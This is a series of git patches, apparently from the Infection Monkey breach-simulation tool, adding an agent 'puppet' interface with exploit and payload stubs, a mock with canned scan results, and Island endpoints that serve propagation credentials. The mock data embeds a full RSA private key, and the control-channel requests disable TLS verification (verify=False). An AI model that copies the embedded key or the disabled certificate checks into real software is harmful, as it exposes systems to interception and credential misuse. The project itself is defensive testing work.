From df0174eacba28e051532757910699f10b242d0e7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 19 Nov 2021 16:46:48 -0500 Subject: [PATCH 0001/1110] Agent: Add IPuppet --- monkey/infection_monkey/i_puppet.py | 88 +++++++++++++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 monkey/infection_monkey/i_puppet.py diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet.py new file mode 100644 index 000000000..46181f509 --- /dev/null +++ b/monkey/infection_monkey/i_puppet.py @@ -0,0 +1,88 @@ +import abc +import threading +from collections import namedtuple +from enum import Enum +from typing import Dict, Optional, Tuple + + +class PortStatus(Enum): + OPEN = 1 + CLOSED = 2 + + +PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) + + +class IPuppet(metaclass=abc.ABCMeta): + @abc.abstractmethod + def run_sys_info_collector(self, name: str) -> Dict: + """ + Runs a system info collector + :param str name: The name of the system info collector to run + :return: A dictionary containing the information collected from the system + :rtype: Dict + """ + + @abc.abstractmethod + def run_pba(self, name: str, options: Dict) -> None: + """ + Runs a post-breach action (PBA) + :param str name: The name of the post-breach action to run + :param Dict options: A dictionary containing options that modify the behavior of the PBA + """ + + @abc.abstractmethod + def ping(self, host: str) -> Tuple[bool, Optional[str]]: + """ + Sends a ping (ICMP packet) to a remote host + :param str host: The domain name or IP address of a host + :return: A tuple that contains whether or not the host responded and the host's inferred + operating system + :rtype: Tuple[bool, Optional[str]] + """ + + @abc.abstractmethod + def scan_tcp_port(self, host: str, port: int) -> PortScanData: + """ + Scans a TCP port on a remote host + :param str host: The domain name or IP address of a host + :param int port: A TCP port number to scan + :return: The data collected by scanning the provided host:port combination + :rtype: PortScanData + """ + + @abc.abstractmethod + def fingerprint(self, name: str, host: str) -> Dict: + """ + Runs a fingerprinter against a remote host + :param str name: The name of the fingerprinter to run + :param str host: The domain name or IP address of a host + :return: A dictionary containing the information collected by the fingerprinter + :rtype: Dict + """ + + @abc.abstractmethod + def exploit_host(self, name: str, host: str, options: dict, interrupt: threading.Event) -> bool: + """ + Runs an exploiter against a remote host + :param str name: The name of the exploiter to run + :param str host: The domain name or IP address of a host + :param Dict options: A dictionary containing options that modify the behavior of the + exploiter + :return: True if exploitation was successful, False otherwise + :rtype: bool + """ + + @abc.abstractmethod + def run_payload(self, name: str, options: dict, interrupt: threading.Event) -> None: + """ + Runs a payload + :param str name: The name of the payload to run + :param Dict options: A dictionary containing options that modify the behavior of the payload + """ + + @abc.abstractmethod + def cleanup(self) -> None: + """ + Revert any changes made to the system by the puppet. + """ From 4fc484cd8d519f2eaf545d7da2c8e615a0e6c127 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 22 Nov 2021 12:04:52 -0500 Subject: [PATCH 0002/1110] Agent: Add a preliminary MockPuppet implementation --- monkey/infection_monkey/puppet/__init__.py | 0 monkey/infection_monkey/puppet/mock_puppet.py | 225 ++++++++++++++++++ vulture_allowlist.py | 8 + 3 files changed, 233 insertions(+) create mode 100644 monkey/infection_monkey/puppet/__init__.py create mode 100644 monkey/infection_monkey/puppet/mock_puppet.py diff --git a/monkey/infection_monkey/puppet/__init__.py b/monkey/infection_monkey/puppet/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py new file mode 100644 index 000000000..b35d168b7 --- /dev/null +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -0,0 +1,225 @@ +import logging +import threading +from typing import Dict, Optional, Tuple + +from infection_monkey.i_puppet import IPuppet, PortScanData, PortStatus + +DOT_1 = "10.0.0.1" +DOT_2 = "10.0.0.2" +DOT_3 = "10.0.0.3" +DOT_4 = "10.0.0.4" + +logger = logging.getLogger() + + +class MockPuppet(IPuppet): + def run_sys_info_collector(self, name: str) -> Dict: + logger.debug(f"run_sys_info_collector({name})") + # TODO: More collectors + if name == "LinuxInfoCollector": + return { + "credentials": {}, + "network_info": { + "networks": [ + {"addr": "10.0.0.7", "netmask": "255.255.255.0"}, + {"addr": "10.45.31.103", "netmask": "255.255.255.0"}, + {"addr": "192.168.33.241", "netmask": "255.255.0.0"}, + ] + }, + "ssh_info": [ + { + "name": "m0nk3y", + "home_dir": "/home/m0nk3y", + "public_key": "ssh-rsa " + "AAAAB3NzaC1yc2EAAAADAQABAAABAQCqhqTJfcrAbTUPzQ+Ou9bhQjmP29jRBz00BAdvNu77Y1SwM/+wETxapv7QPG55oc04Y5qR1KaItcwz3Prh7Qe/ohP/I2mIhP5tDRNfYHxXaGtj58wQhFrkrUhERVvEvwyvb97RWPAtAJjWT8+S6ASjjvyUNHulFIjJ0Yptlj2fboeh1eETDQ4FKfofpgwmab110ct2500FOtY1MWqFgpRvV0EX8WgJoscQ5FnsJAn6Ueb3DnsrIDq1LtK1rmxGSiZwpgOCwvyC1FFfHeP+cfpPsS+G9pBSYm2VqR42QL1BJL1pm4wFPVrBDmzORVQRf35k6agL7loRlfmAt28epDi1 ubuntu@test\n", # noqa: E501 + "private_key": "-----BEGIN RSA PRIVATE KEY-----\n" + "MIIEpAIBAAKCAQEAqoakyX3KwG01D80PjrvW4UI5j9vY0Qc9NAQHbzbu+2NUsDP/\n" + "sBE8Wqb+0DxueaHNOGOakdSmiLXMM9z64e0Hv6IT/yNpiIT+bQ0TX2B8V2hrY+fM\n" + "Ew0OBSn6H6YMJmm9ddHLdudNBTrWNTFqhYKUb1dBF/FoCaLHEORZ7CQJ+lHm9w57\n" + "KyA6tS7Sta5sRkomcKYDgsL8gtRRXx3j/nH6T7EvhvaQUmJtlakeNkC9QSS9aZuM\n" + "snegLvVSlHVmKe8SjD0YAF7g9HH/vm0R2jYTYSArslw4mUZMjTcAQ/XBeDHDkNZq\n" + "x9ECzXdeZhXCXlKcadC+kNp+yT4MwkHAjid6AyalSDJ+9k3QRaI6ItxofWJhnZdB\n" + "RxQtnkJNOZCMKqwxmxUweX7AyShT1KdBdkw0VzkY0O3VUgdR9IzQu73eME5Qr4LM\n" + "5x+rFy0EggHkzCXecviDDQ/SJZEDR4yE0SCxwY0GxVfDdvM6aoLK7wLfu0hG+hjO\n" + "ewXmOAECgYEA4yA14atxKYWf8tAJnmH+IJi1nuiyBoaKJh9nGulGTFVpugytkfdy\n" + "omGYsvlSJd6x4KPM2nXuSD9uvS0ZDeHDXbPJcFAPscghwwIekunQigECgYEAwDRl\n" + "QOhBx8PpicbRmoEe06zb+gRNTYTnvcHgkJN275pqTn1hIAdQSGnyuyWdCN6CU8cg\n" + "p7ecLbCujAstim4H8LG6xMv8jBgVeBKclKEEy9IpvMZ/DGOdUS4/RMWkdVbcFFHZ\n" + "57gycmFwgN7ZFXdMkuCCZi2KCa4jX54G1VNX0+k64cLV8lgQXvVyl9QdvBkt8NqB\n" + "Zoce2vfDrFkUHoxQmAl2jvn8925KkAdga4Zj+zvLgmcryxCFZnA6IvxaoHzrUSxO\n" + "HpuEdCFek/4gyhXPbYQO99ZtOjx0mXwZVqRaEA1kvhX3+PjoPRO2wgBLXVNyb+P5\n" + "5Bxfk6XI40UAUSYv6XQlfIQj0xz/YfSkWbOwTJOShgMbJtiZVFuZ2YcEjSYXzNtv\n" + "WBM0+05OGqjxdyI+qpjHqrZVWN9WvvkH0gJz+zvcorygINMnuSjpNCw4nipXHaud\n" + "LbiqWK42eTmVSiFH+pH+YwVaTatc0RfQ7OP218GD8dtkTgw2JFOzbA==\n" + "-----END RSA PRIVATE KEY-----\n", + "known_hosts": "|1|pERVcy3opIGJnp7HVTpeA0FmuEY=|L64j7430lwkSFrmcn49Nf8YEsLc= " # noqa: E501 + "ssh-rsa " + "AAAAB3NzaC1yc2EAAAABIwAAAQEAq2A7hRGmdnm9tUDbO9IDSwBK6TbQa+PXYPCPy6rbTrTtw7PHkccKrpp0yVhp5HdEIcKr6pLlVDBfOLX9QUsyCOV0wzfjIJNlGEYsdlLJizHhbn2mUjvSAHQqZETYP81eFzLQNnPHt4EVVUh7VfDESU84KezmD5QlWpXLmvU31/yMf+Se8xhHTvKSCZIFImWwoG6mbUoWf9nzpIoaSjB+weqqUUmpaaasXVal72J+UX2B+2RPW3RcT0eOzQgqlJL3RKrTJvdsjE3JEAvGq3lGHSZXy28G3skua2SmVi/w4yCE6gbODqnTWlg7+wC604ydGXA8VJiS5ap43JXiUFFAaQ==\n" # noqa: E501 + "|1|DXEyHSAtnxSSWb4z6XLaxHJL/aM=|zjIBopXOz1GB9hbdpVcYsHY+eSU= " + "ssh-rsa " + "AAAAB3NzaC1yc2EAAAABIwAAAQEAq2A7hRGmdnm9tUDbO9IDSwBK6TbQa+PXYPCPy6rbTrTtw7PHkccKrpp0yVhp5HdEIcKr6pLlVDBfOLX9QUsyCOV0wzfjIJNlGEYsdlLJizHhbn2mUjvSAHQqZETYP81eFzLQNnPHt4EVVUh7VfDESU84KezmD5QlWpXLmvU31/yMf+Se8xhHTvKSCZIFImWwoG6mbUoWf9nzpIoaSjB+weqqUUmpaaasXVal72J+UX2B+2RPW3RcT0eOzQgqlJL3RKrTJvdsjE3JEAvGq3lGHSZXy28G3skua2SmVi/w4yCE6gbODqnTWlg7+wC604ydGXA8VJiS5ap43JXiUFFAaQ==\n" # noqa: E501 + "10.197.94.221 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL3o1lUn7mZ6HNKDlkFJH9lvFIOXpTH62XkxM7wKXeZbKUy1BKnx2Jkkpv6736XnbFNkUHSnPlCAYDBqsH4nr28=\n" # noqa: E501 + "|1|kVjsp1IWhGMsWfrbQuhLUABrNMk=|xKCh+yr8mPEyCLZ2/E5bC8bjvw0= " + "ecdsa-sha2-nistp256 " + "AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL3o1lUn7mZ6HNKDlkFJH9lvFIOXpTH62XkxM7wKXeZbKUy1BKnx2Jkkpv6736XnbFNkUHSnPlCAYDBqsH4nr28=\n" # noqa: E501 + "other_host,fd42:5289:fddc:ffdf:216:3eff:fe5b:9114 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL3o1lUn7mZ6HNKDlkFJH9lvFIOXpTH62XkxM7wKXeZbKUy1BKnx2Jkkpv6736XnbFNkUHSnPlCAYDBqsH4nr28=\n" # noqa: E501 + "|1|S6K6SneX+l7xTM1gNLvDAAzj4gs=|cSOIX6qf5YuIe2aw/KmUrM2ye/c= " + "ecdsa-sha2-nistp256 " + "AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL3o1lUn7mZ6HNKDlkFJH9lvFIOXpTH62XkxM7wKXeZbKUy1BKnx2Jkkpv6736XnbFNkUHSnPlCAYDBqsH4nr28=\n", # noqa: E501 + } + ], + } + if name == "ProcessListCollector": + return { + "process_list": { + 1: { + "cmdline": "/sbin/init", + "full_image_path": "/sbin/init", + "name": "systemd", + "pid": 1, + "ppid": 0, + }, + 65: { + "cmdline": "/lib/systemd/systemd-journald", + "full_image_path": "/lib/systemd/systemd-journald", + "name": "systemd-journald", + "pid": 65, + "ppid": 1, + }, + 84: { + "cmdline": "/lib/systemd/systemd-udevd", + "full_image_path": "/lib/systemd/systemd-udevd", + "name": "systemd-udevd", + "pid": 84, + "ppid": 1, + }, + 192: { + "cmdline": "/lib/systemd/systemd-networkd", + "full_image_path": "/lib/systemd/systemd-networkd", + "name": "systemd-networkd", + "pid": 192, + "ppid": 1, + }, + 17749: { + "cmdline": "-zsh", + "full_image_path": "/bin/zsh", + "name": "zsh", + "pid": 17749, + "ppid": 17748, + }, + 18392: { + "cmdline": "/home/ubuntu/venvs/monkey/bin/python " "monkey_island.py", + "full_image_path": "/usr/bin/python3.7", + "name": "python", + "pid": 18392, + "ppid": 17502, + }, + 18400: { + "cmdline": "/home/ubuntu/git/monkey/monkey/monkey_island/bin/mongodb/bin/mongod " # noqa: E501 + "--dbpath /home/ubuntu/.monkey_island/db", + "full_image_path": "/home/ubuntu/git/monkey/monkey/monkey_island/bin/mongodb/bin/mongod", # noqa: E501 + "name": "mongod", + "pid": 18400, + "ppid": 18392, + }, + 26535: { + "cmdline": "ACCESS DENIED", + "full_image_path": "null", + "name": "null", + "pid": 26535, + "ppid": 26469, + }, + 29291: { + "cmdline": "python infection_monkey.py m0nk3y -s " "localhost:5000", + "full_image_path": "/usr/bin/python3.7", + "name": "python", + "pid": 29291, + "ppid": 17749, + }, + } + } + + return {} + + def run_pba(self, name: str, options: dict) -> None: + logger.debug(f"run_pba({name}, {options})") + return None + + def ping(self, host: str) -> Tuple[bool, Optional[str]]: + logger.debug(f"run_ping({host})") + if host == DOT_1: + return (True, "windows") + + if host == DOT_2: + return (False, None) + + if host == DOT_3: + return (True, "Linux") + + if host == DOT_4: + return (False, None) + + return (False, None) + + def scan_tcp_port(self, host: str, port: int) -> PortScanData: + logger.debug(f"run_scan_tcp_port({host}, {port})") + dot_1_results = { + 22: PortScanData(22, PortStatus.CLOSED, None, None), + 445: PortScanData(445, PortStatus.OPEN, "SMB BANNER", "tcp-445"), + 3389: PortScanData(3389, PortStatus.OPEN, "", "tcp-3389"), + } + dot_3_results = { + 22: PortScanData(22, PortStatus.OPEN, "SSH BANNER", "tcp-22"), + 443: PortScanData(443, PortStatus.OPEN, "HTTPS BANNER", "tcp-443"), + 3389: PortScanData(3389, PortStatus.CLOSED, "", None), + } + + if host == DOT_1: + return dot_1_results.get(port, _get_empty_results(port)) + + if host == DOT_3: + return dot_3_results.get(port, _get_empty_results(port)) + + return _get_empty_results(port) + + def fingerprint(self, name: str, host: str) -> Dict: + logger.debug(f"fingerprint({name}, {host})") + dot_1_results = { + "SMBFinger": { + "os": {"type": "windows", "version": "vista"}, + "services": {"tcp-445": {"name": "SSH", "os": "linux"}}, + } + } + + dot_3_results = { + "SSHFinger": {"os": "linux", "services": {"tcp-22": {"name": "SSH"}}}, + "HTTPFinger": { + "services": {"tcp-https": {"name": "http", "data": ("SERVER_HEADERS", DOT_3)}} + }, + } + + if host == DOT_1: + return dot_1_results.get(name, {}) + + if host == DOT_3: + return dot_3_results.get(name, {}) + + return {} + + def exploit_host(self, name: str, host: str, options: dict, interrupt: threading.Event) -> bool: + logger.debug(f"exploit_hosts({name}, {host}, {options})") + successful_exploiters = {DOT_1: {"PowerShellExploiter"}, DOT_3: {"SSHExploiter"}} + + return name in successful_exploiters.get(host, {}) + + def run_payload(self, name: str, options: dict, interrupt: threading.Event) -> None: + logger.debug(f"run_payload({name}, {options})") + return None + + def cleanup(self) -> None: + print("Cleanup called!") + pass + + +def _get_empty_results(port: int): + return PortScanData(port, False, None, None) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index b57fe73ab..f2c6edf3a 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -201,3 +201,11 @@ environment # unused variable (monkey/monkey_island/cc/models/monkey.py:59) _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:35) _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:64) GCPHandler # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:57) + +# TODO: Reevaluate these as the agent refactor progresses +run_sys_info_collector +ping +scan_tcp_port +fingerprint +interrupt +MockPuppet From 6e6c3f6133e8d6a9b190a0beb7e770d4b18f7064 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 23 Nov 2021 06:32:31 -0500 Subject: [PATCH 0003/1110] Agent: Fix capitalization of Dict type hints in IPuppet --- monkey/infection_monkey/i_puppet.py | 4 ++-- monkey/infection_monkey/puppet/mock_puppet.py | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet.py index 46181f509..d44f827eb 100644 --- a/monkey/infection_monkey/i_puppet.py +++ b/monkey/infection_monkey/i_puppet.py @@ -62,7 +62,7 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def exploit_host(self, name: str, host: str, options: dict, interrupt: threading.Event) -> bool: + def exploit_host(self, name: str, host: str, options: Dict, interrupt: threading.Event) -> bool: """ Runs an exploiter against a remote host :param str name: The name of the exploiter to run @@ -74,7 +74,7 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def run_payload(self, name: str, options: dict, interrupt: threading.Event) -> None: + def run_payload(self, name: str, options: Dict, interrupt: threading.Event) -> None: """ Runs a payload :param str name: The name of the payload to run diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index b35d168b7..910c3a636 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -141,7 +141,7 @@ class MockPuppet(IPuppet): return {} - def run_pba(self, name: str, options: dict) -> None: + def run_pba(self, name: str, options: Dict) -> None: logger.debug(f"run_pba({name}, {options})") return None @@ -206,13 +206,13 @@ class MockPuppet(IPuppet): return {} - def exploit_host(self, name: str, host: str, options: dict, interrupt: threading.Event) -> bool: + def exploit_host(self, name: str, host: str, options: Dict, interrupt: threading.Event) -> bool: logger.debug(f"exploit_hosts({name}, {host}, {options})") successful_exploiters = {DOT_1: {"PowerShellExploiter"}, DOT_3: {"SSHExploiter"}} return name in successful_exploiters.get(host, {}) - def run_payload(self, name: str, options: dict, interrupt: threading.Event) -> None: + def run_payload(self, name: str, options: Dict, interrupt: threading.Event) -> None: logger.debug(f"run_payload({name}, {options})") return None From a4a9de6a8d73fe077fde0a4047220e2a85c43abb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 23 Nov 2021 07:16:06 -0500 Subject: [PATCH 0004/1110] Agent: Add a timeout parameter to scan_tcp_port() --- monkey/infection_monkey/i_puppet.py | 3 ++- monkey/infection_monkey/puppet/mock_puppet.py | 4 ++-- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet.py index d44f827eb..c10731d8f 100644 --- a/monkey/infection_monkey/i_puppet.py +++ b/monkey/infection_monkey/i_puppet.py @@ -42,11 +42,12 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def scan_tcp_port(self, host: str, port: int) -> PortScanData: + def scan_tcp_port(self, host: str, port: int, timeout: int) -> PortScanData: """ Scans a TCP port on a remote host :param str host: The domain name or IP address of a host :param int port: A TCP port number to scan + :param int timeout: The maximum amount of time (in seconds) to wait for a response :return: The data collected by scanning the provided host:port combination :rtype: PortScanData """ diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 910c3a636..0652c109b 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -161,8 +161,8 @@ class MockPuppet(IPuppet): return (False, None) - def scan_tcp_port(self, host: str, port: int) -> PortScanData: - logger.debug(f"run_scan_tcp_port({host}, {port})") + def scan_tcp_port(self, host: str, port: int, timeout: int = 3) -> PortScanData: + logger.debug(f"run_scan_tcp_port({host}, {port}, {timeout})") dot_1_results = { 22: PortScanData(22, PortStatus.CLOSED, None, None), 445: PortScanData(445, PortStatus.OPEN, "SMB BANNER", "tcp-445"), From 7766e27f16083d345cae5b30bbe5a3e84a965b39 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 22 Nov 2021 13:46:09 +0100 Subject: [PATCH 0005/1110] Island: Add mock endpoint to check if the agent should stop --- monkey/monkey_island/cc/app.py | 2 ++ .../cc/resources/monkey_control/stop_agent_check.py | 9 +++++++++ 2 files changed, 11 insertions(+) create mode 100644 monkey/monkey_island/cc/resources/monkey_control/stop_agent_check.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 7ea91c0db..113c20d06 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -33,6 +33,7 @@ from monkey_island.cc.resources.monkey import Monkey from monkey_island.cc.resources.monkey_configuration import MonkeyConfiguration from monkey_island.cc.resources.monkey_control.remote_port_check import RemotePortCheck from monkey_island.cc.resources.monkey_control.started_on_island import StartedOnIsland +from monkey_island.cc.resources.monkey_control.stop_agent_check import StopAgentCheck from monkey_island.cc.resources.monkey_download import MonkeyDownload from monkey_island.cc.resources.netmap import NetMap from monkey_island.cc.resources.node import Node @@ -168,6 +169,7 @@ def init_api_resources(api): api.add_resource(VersionUpdate, "/api/version-update", "/api/version-update/") api.add_resource(RemotePortCheck, "/api/monkey_control/check_remote_port/") api.add_resource(StartedOnIsland, "/api/monkey_control/started_on_island") + api.add_resource(StopAgentCheck, "/api/monkey_control/") api.add_resource(ScoutSuiteAuth, "/api/scoutsuite_auth/") api.add_resource(AWSKeys, "/api/aws_keys") diff --git a/monkey/monkey_island/cc/resources/monkey_control/stop_agent_check.py b/monkey/monkey_island/cc/resources/monkey_control/stop_agent_check.py new file mode 100644 index 000000000..817d6db94 --- /dev/null +++ b/monkey/monkey_island/cc/resources/monkey_control/stop_agent_check.py @@ -0,0 +1,9 @@ +import flask_restful + + +class StopAgentCheck(flask_restful.Resource): + def get(self, monkey_guid: int): + if monkey_guid % 2: + return {"stop_agent": True} + else: + return {"stop_agent": False} From 0d8070080ae8b199ffe3ac3ada90e21c5895c7a2 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 22 Nov 2021 14:27:39 +0100 Subject: [PATCH 0006/1110] Agent: Implement ControlChannel should_agent_stop --- monkey/infection_monkey/control_channel.py | 32 ++++++++++++++++++++ monkey/infection_monkey/i_control_channel.py | 27 +++++++++++++++++ 2 files changed, 59 insertions(+) create mode 100644 monkey/infection_monkey/control_channel.py create mode 100644 monkey/infection_monkey/i_control_channel.py diff --git a/monkey/infection_monkey/control_channel.py b/monkey/infection_monkey/control_channel.py new file mode 100644 index 000000000..639991e71 --- /dev/null +++ b/monkey/infection_monkey/control_channel.py @@ -0,0 +1,32 @@ +import json +import logging +from abc import ABC + +import requests + +from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT +from infection_monkey.config import GUID, WormConfiguration +from monkey.infection_monkey.i_control_channel import IControlChannel + +requests.packages.urllib3.disable_warnings() + +logger = logging.getLogger(__name__) + + +class ControlChannel(IControlChannel, ABC): + def should_agent_stop(self) -> bool: + server = WormConfiguration.current_server + if not server: + return + + try: + response = requests.get( # noqa: DUO123 + f"{server}/api/monkey_control/{GUID}", + verify=False, + timeout=SHORT_REQUEST_TIMEOUT, + ) + + response = json.loads(response.content.decode()) + return response["stop_agent"] + except Exception as e: + logger.error(f"Error happened while trying to connect to server. {e}") diff --git a/monkey/infection_monkey/i_control_channel.py b/monkey/infection_monkey/i_control_channel.py new file mode 100644 index 000000000..eb1a4d5b2 --- /dev/null +++ b/monkey/infection_monkey/i_control_channel.py @@ -0,0 +1,27 @@ +import abc + + +class IControlChannel(metaclass=abc.ABCMeta): + @abc.abstractmethod + def should_agent_stop(self) -> bool: + """ + Checks if the agent should stop + return: True if the agent should stop, False otherwise + rtype: bool + """ + + @abc.abstractmethod + def get_config(self) -> dict: + """ + :return: A dictionary containing Agent Configuration + :rtype: dict + """ + pass + + @abc.abstractmethod + def get_credentials_for_propagation(self) -> dict: + """ + :return: A dictionary containing propagation credentials data + :rtype: dict + """ + pass From 3aad64dff7c4a42c36a29faa4a39f2e14d89b280 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 22 Nov 2021 19:58:49 +0100 Subject: [PATCH 0007/1110] Island: Add endpoint to retrive propagation credentials --- monkey/monkey_island/cc/app.py | 2 ++ .../cc/resources/propagation_credentials.py | 9 +++++++++ monkey/monkey_island/cc/services/config.py | 16 ++++++++++++++++ 3 files changed, 27 insertions(+) create mode 100644 monkey/monkey_island/cc/resources/propagation_credentials.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 113c20d06..a45800b9f 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -40,6 +40,7 @@ from monkey_island.cc.resources.node import Node from monkey_island.cc.resources.node_states import NodeStates from monkey_island.cc.resources.pba_file_download import PBAFileDownload from monkey_island.cc.resources.pba_file_upload import FileUpload +from monkey_island.cc.resources.propagation_credentials import PropagationCredentials from monkey_island.cc.resources.ransomware_report import RansomwareReport from monkey_island.cc.resources.remote_run import RemoteRun from monkey_island.cc.resources.root import Root @@ -165,6 +166,7 @@ def init_api_resources(api): "/api/fileUpload/?load=", "/api/fileUpload/?restore=", ) + api.add_resource(PropagationCredentials, "/api/propagationCredentials") api.add_resource(RemoteRun, "/api/remote-monkey", "/api/remote-monkey/") api.add_resource(VersionUpdate, "/api/version-update", "/api/version-update/") api.add_resource(RemotePortCheck, "/api/monkey_control/check_remote_port/") diff --git a/monkey/monkey_island/cc/resources/propagation_credentials.py b/monkey/monkey_island/cc/resources/propagation_credentials.py new file mode 100644 index 000000000..16699300e --- /dev/null +++ b/monkey/monkey_island/cc/resources/propagation_credentials.py @@ -0,0 +1,9 @@ +import flask_restful + +from monkey_island.cc.services.config import ConfigService + + +class PropagationCredentials(flask_restful.Resource): + def get(self): + + return {'propagation_credentials': ConfigService.get_config_propagation_credentials()} diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 0214a957e..4be546c57 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -407,3 +407,19 @@ class ConfigService: @staticmethod def set_started_on_island(value: bool): ConfigService.set_config_value(STARTED_ON_ISLAND_PATH, value) + + @staticmethod + def get_config_propagation_credentials(): + return { + "exploit_user_list": ConfigService.get_config_value(USER_LIST_PATH, should_decrypt=False), + "exploit_password_list": ConfigService.get_config_value( + PASSWORD_LIST_PATH, should_decrypt=False + ), + "exploit_lm_hash_list": ConfigService.get_config_value( + LM_HASH_LIST_PATH, should_decrypt=False + ), + "exploit_ntlm_hash_list": ConfigService.get_config_value( + NTLM_HASH_LIST_PATH, should_decrypt=False + ), + "exploit_ssh_keys": ConfigService.get_config_value(SSH_KEYS_PATH, should_decrypt=False), + } From 65bc0efc5ad4980eb00b00123edc3856949ed708 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 22 Nov 2021 19:59:35 +0100 Subject: [PATCH 0008/1110] Agent: Implement get config and get propagation credentials --- monkey/infection_monkey/control_channel.py | 26 +++++++++++++++++++--- 1 file changed, 23 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/control_channel.py b/monkey/infection_monkey/control_channel.py index 639991e71..d8ec17c6e 100644 --- a/monkey/infection_monkey/control_channel.py +++ b/monkey/infection_monkey/control_channel.py @@ -1,11 +1,11 @@ import json import logging -from abc import ABC import requests from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.config import GUID, WormConfiguration +from infection_monkey.control import ControlClient from monkey.infection_monkey.i_control_channel import IControlChannel requests.packages.urllib3.disable_warnings() @@ -13,7 +13,7 @@ requests.packages.urllib3.disable_warnings() logger = logging.getLogger(__name__) -class ControlChannel(IControlChannel, ABC): +class ControlChannel(IControlChannel): def should_agent_stop(self) -> bool: server = WormConfiguration.current_server if not server: @@ -29,4 +29,24 @@ class ControlChannel(IControlChannel, ABC): response = json.loads(response.content.decode()) return response["stop_agent"] except Exception as e: - logger.error(f"Error happened while trying to connect to server. {e}") + logger.error(f"An error occurred while trying to connect to server. {e}") + + def get_config(self) -> dict: + return ControlClient.load_control_config() + + def get_credentials_for_propagation(self) -> dict: + server = WormConfiguration.current_server + if not server: + return + + try: + response = requests.get( # noqa: DUO123 + f"{server}/api/propagationCredentials", + verify=False, + timeout=SHORT_REQUEST_TIMEOUT, + ) + + response = json.loads(response.content.decode())["propagation_credentials"] + return response + except Exception as e: + logger.error(f"An error occurred while trying to connect to server. {e}") From 56f07e01882fcb45677b5e26bd538765ac25f12d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 23 Nov 2021 11:13:14 +0100 Subject: [PATCH 0009/1110] Agent: Add control channel server property --- monkey/infection_monkey/control_channel.py | 15 ++++++++------- monkey/infection_monkey/i_control_channel.py | 7 +++++++ 2 files changed, 15 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/control_channel.py b/monkey/infection_monkey/control_channel.py index d8ec17c6e..90076cbdb 100644 --- a/monkey/infection_monkey/control_channel.py +++ b/monkey/infection_monkey/control_channel.py @@ -14,14 +14,15 @@ logger = logging.getLogger(__name__) class ControlChannel(IControlChannel): + control_channel_server = WormConfiguration.current_server + def should_agent_stop(self) -> bool: - server = WormConfiguration.current_server - if not server: + if not self.control_channel_server: return try: response = requests.get( # noqa: DUO123 - f"{server}/api/monkey_control/{GUID}", + f"{self.control_channel_server}/api/monkey_control/{GUID}", verify=False, timeout=SHORT_REQUEST_TIMEOUT, ) @@ -32,16 +33,16 @@ class ControlChannel(IControlChannel): logger.error(f"An error occurred while trying to connect to server. {e}") def get_config(self) -> dict: - return ControlClient.load_control_config() + ControlClient.load_control_config() + return WormConfiguration.as_dict() def get_credentials_for_propagation(self) -> dict: - server = WormConfiguration.current_server - if not server: + if not self.control_channel_server: return try: response = requests.get( # noqa: DUO123 - f"{server}/api/propagationCredentials", + f"{self.control_channel_server}/api/propagationCredentials", verify=False, timeout=SHORT_REQUEST_TIMEOUT, ) diff --git a/monkey/infection_monkey/i_control_channel.py b/monkey/infection_monkey/i_control_channel.py index eb1a4d5b2..6f287671d 100644 --- 